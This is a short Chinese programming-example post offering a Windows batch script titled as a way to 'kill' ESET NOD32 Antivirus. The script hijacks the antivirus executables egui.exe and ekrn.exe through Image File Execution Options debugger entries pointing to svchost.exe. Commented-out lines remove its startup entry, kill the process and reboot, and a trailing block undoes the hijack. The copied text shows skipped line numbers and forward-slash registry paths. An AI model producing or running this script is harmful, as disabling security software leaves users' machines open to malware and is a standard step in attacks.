[编程实例]批处理干掉EAV

 

1. @echo off
2. reg  add "HKLM/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File 
4. Execution Options/egui.exe" /v debugger /t reg_sz /d svchost.exe /f >nul 
6. 2>nul
7. reg  add "HKLM/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File 
9. Execution Options/ekrn.exe" /v debugger /t reg_sz /d svchost.exe /f >nul 
11. 2>nul
12. ::reg delete HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/Run  /v egui  /f 
14. >nul 2>nul  
15. ::taskkill /f /im egui.exe >nul
16. ::重启计算机，eav宣布投降
17. ::shutdown -r -t 0
18. pause
20. :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
22. :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
24. :::::::::::::::::
25. ::下面是恢复EAV的注册表文件内容（！安装路径可能不一样）:
26. ::Windows Registry Editor Version 5.00
28. ::[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]
29. ::"egui"="/"E://Program Files//ESET//ESET NOD32 Antivirus//egui.exe/" /hide 
31. /waitservice"
33. ::解除对EAV的劫持
34. ::reg  delete "HKLM/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File 
36. Execution Options/egui.exe"  /f  >nul 2>nul
37. ::reg  delete "HKLM/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File 
39. Execution Options/ekrn.exe"  /f  >nul 2>nul
41. ::重新启动eset服务
42. ::net start ekrn